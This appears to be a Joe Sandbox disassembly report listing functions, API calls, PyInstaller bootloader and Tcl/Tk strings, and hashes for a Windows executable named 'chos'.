                                                                                                                                                                                                                                              • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                                                                                                                                              • API String ID: 199729137-3427451314
                                                                                                                                                                                                                                              • Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                              • Instruction ID: 82f47625b105d2e24e20f05bf752ac3c20688f5871f0cc82716bfa26ccef99a3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0F02D620A0DB07E0FA54AB95B9105B823B1BF89755F545231E82E8E2A0FF7EB548DF50
                                                                                                                                                                                                                                              Function 00007FF666DD81C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF666DD45E4,00000000,00007FF666DD1985), ref: 00007FF666DD9439
                                                                                                                                                                                                                                              • ExpandEnvironmentStringsW.KERNEL32(?,00007FF666DD88A7,?,?,00000000,00007FF666DD3CBB), ref: 00007FF666DD821C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2810: MessageBoxW.USER32 ref: 00007FF666DD28EA
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                                                                                                                                              • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                                                                                                                                                                                                              • API String ID: 1662231829-930877121
                                                                                                                                                                                                                                              • Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
                                                                                                                                                                                                                                              • Instruction ID: a53b750e82576e40b4634c320048f13079efe6a8ed0b3c900a119c877a05d4d2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F851A311A1CA82E1FB61BB25F8516BA6270EFD4784F445631EA0ECE6D5EE3EE5048F40
                                                                                                                                                                                                                                              Function 00007FF666DD2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                              • String ID: P%
                                                                                                                                                                                                                                              • API String ID: 2147705588-2959514604
                                                                                                                                                                                                                                              • Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                              • Instruction ID: 783c0c6a8ff39791057e401aa68d28294d39db0a70d8724c89e4eebca24f5321
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D0510326618BA1C6D6349F22B4181BAB7B1FB98B65F004231EBDE87694DF3DD085CB10
                                                                                                                                                                                                                                              Function 00007FF666DD80B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: LongWindow$BlockCreateErrorLastReasonShutdown
                                                                                                                                                                                                                                              • String ID: Needs to remove its temporary files.
                                                                                                                                                                                                                                              • API String ID: 3975851968-2863640275
                                                                                                                                                                                                                                              • Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                              • Instruction ID: 535ea0d46e6ddc7ecfb88cd3d9ccfb109fe7db0e53f536f3b8d8d657d80d2e8e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5E218E21B08A42C2E7569B7AB95417962B0EFC8B90F585331DE2DCF3D8DE3DD5958B00
                                                                                                                                                                                                                                              Function 00007FF666DE6300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: -$:$f$p$p
                                                                                                                                                                                                                                              • API String ID: 3215553584-2013873522
                                                                                                                                                                                                                                              • Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                              • Instruction ID: 073dc7e9f5c84c138e1321db9430641f84b56f5c2445e52c629d56d4973d8646
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 63126C62E0C1D3C6FB206A16B5546BDB6B1FB40754F944635E78A8EAC8DF3EE5808F10
                                                                                                                                                                                                                                              Function 00007FF666DE1038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: f$f$p$p$f
                                                                                                                                                                                                                                              • API String ID: 3215553584-1325933183
                                                                                                                                                                                                                                              • Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                              • Instruction ID: 6cc7f47e2d33192cc4f4e37d6e156f6ad0004bad1c799df88c00dd531c496679
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EE125E72F081C3C6FB209B15F8546B9A671FB90754F984236E6998EAC4DF7EE4808F50
                                                                                                                                                                                                                                              Function 00007FF666DD1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                              • Opcode ID: cac4820a7b744c2a3ed9884ecbea95852d55726b30acd907294baaf881276d8e
                                                                                                                                                                                                                                              • Instruction ID: b3e9f7b004f6933a294373c8986a159723906637e9f4ff8f3537bf4bc1f1c0cc
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: cac4820a7b744c2a3ed9884ecbea95852d55726b30acd907294baaf881276d8e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A2418261B08652C2EA10EB52B8056B9A3B5FF94BC4F444632ED4D8F7D5DE3EE5058F40
                                                                                                                                                                                                                                              Function 00007FF666DD1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                              • Opcode ID: 36a1ab3064973414bc50407d7382ece4e743d8df21bb13a2de201f3127f22220
                                                                                                                                                                                                                                              • Instruction ID: 683897fc17c36bf7e74f2c86164fe3f3f911829db631b8931641269a3388a935
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 36a1ab3064973414bc50407d7382ece4e743d8df21bb13a2de201f3127f22220
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 29415121A08682D5EB10EB21F9416B9A3B0FF84798F444632EE4D8FB95DE3EE545CF40
                                                                                                                                                                                                                                              Function 00007FF666DDEA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                                                                                                                                              • String ID: csm$csm$csm
                                                                                                                                                                                                                                              • API String ID: 849930591-393685449
                                                                                                                                                                                                                                              • Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                              • Instruction ID: 4a1ac581765010d6f99701619282aa8e4269aa2d9a3115a782bfbdd236044803
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4AD15F62908781C6EB20AB65E4403ADB7B0FB85798F140235EE8D9FB95DF39E591CF01
                                                                                                                                                                                                                                              Function 00007FF666DD2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF666DD3706,?,00007FF666DD3804), ref: 00007FF666DD2C9E
                                                                                                                                                                                                                                              • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF666DD3706,?,00007FF666DD3804), ref: 00007FF666DD2D63
                                                                                                                                                                                                                                              • MessageBoxW.USER32 ref: 00007FF666DD2D99
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$CurrentFormatProcess
                                                                                                                                                                                                                                              • String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
                                                                                                                                                                                                                                              • API String ID: 3940978338-251083826
                                                                                                                                                                                                                                              • Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                              • Instruction ID: ea39ff5a0dfbbd28c333bce206189f4f86776459a581222d5bc7337ce1d71d6a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4B31C722708B4182E620AB25B8106AB66B5BFC87D8F414235EF4DDF799DE3DD546CB40
                                                                                                                                                                                                                                              Function 00007FF666DDDD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF666DDDFEA,?,?,?,00007FF666DDDCDC,?,?,?,00007FF666DDD8D9), ref: 00007FF666DDDDBD
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF666DDDFEA,?,?,?,00007FF666DDDCDC,?,?,?,00007FF666DDD8D9), ref: 00007FF666DDDDCB
                                                                                                                                                                                                                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF666DDDFEA,?,?,?,00007FF666DDDCDC,?,?,?,00007FF666DDD8D9), ref: 00007FF666DDDDF5
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF666DDDFEA,?,?,?,00007FF666DDDCDC,?,?,?,00007FF666DDD8D9), ref: 00007FF666DDDE63
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF666DDDFEA,?,?,?,00007FF666DDDCDC,?,?,?,00007FF666DDD8D9), ref: 00007FF666DDDE6F
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                                                                                              • String ID: api-ms-
                                                                                                                                                                                                                                              • API String ID: 2559590344-2084034818
                                                                                                                                                                                                                                              • Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                              • Instruction ID: 284c04cec44c299714a020f6c4ec369c9f331eda09bfe457562355b8358560ff
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F7318F21B1A642D1EE22AB02B800575A3A8FF98BA0F594735ED5DCF384EF3DE4448F54
                                                                                                                                                                                                                                              Function 00007FF666DD6350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
                                                                                                                                                                                                                                              • API String ID: 2050909247-2434346643
                                                                                                                                                                                                                                              • Opcode ID: c6b32316bfe7a0aff6899d53276924ef6fe1744c5bc58fcca4aca07baf8add6e
                                                                                                                                                                                                                                              • Instruction ID: d3f2ecff0483a75e02fc98d1e66d27e3598ce7d9a49ef65791eec89d5f962218
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c6b32316bfe7a0aff6899d53276924ef6fe1744c5bc58fcca4aca07baf8add6e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3E416231A1C686D1EA21EB25F4552EA6335FF48384F800232EA5D8F695EF3DE615CF80
                                                                                                                                                                                                                                              Function 00007FF666DD2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF666DD351A,?,00000000,00007FF666DD3F23), ref: 00007FF666DD2AA0
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
